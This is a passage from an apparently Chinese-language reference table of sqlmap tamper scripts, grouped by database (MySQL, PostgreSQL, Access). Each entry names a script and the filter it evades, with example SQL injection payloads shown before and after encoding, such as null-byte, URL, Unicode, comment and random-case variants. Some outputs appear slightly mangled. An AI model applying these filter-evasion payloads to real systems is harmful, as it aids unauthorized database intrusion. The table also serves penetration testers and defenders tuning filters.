'1 AND GREATEST(A,B+1)=A'
2 apostrophenullencode.py 繞過過濾雙引號,替換字元和雙引號。 tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
3 between.py 用between替換大於號(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
4 charencode.py url編碼 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
5 randomcase.py 隨機大小寫 * Input: INSERT
* Output: InsERt
6 charunicodeencode.py 字串 unicode 編碼 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
7 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
 PostgreSQL 1 greatest.py 繞過過濾’>’ ,用GREATEST替換大於號。 ('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
2 apostrophenullencode.py 繞過過濾雙引號,替換字元和雙引號。 tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
3 between.py 用between替換大於號(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
4 percentage.py asp允許每個字元前面新增一個%號 * Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
5 charencode.py url編碼 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
6 randomcase.py 隨機大小寫 * Input: INSERT
* Output: InsERt
7 charunicodeencode.py 字串 unicode 編碼 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
8 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
Access 1 appendnullbyte.py 在有效負荷結束位置載入零位元組字元編碼 ('1 AND 1=1')
'1 AND 1=1%00'
其他   chardoubleencode.py<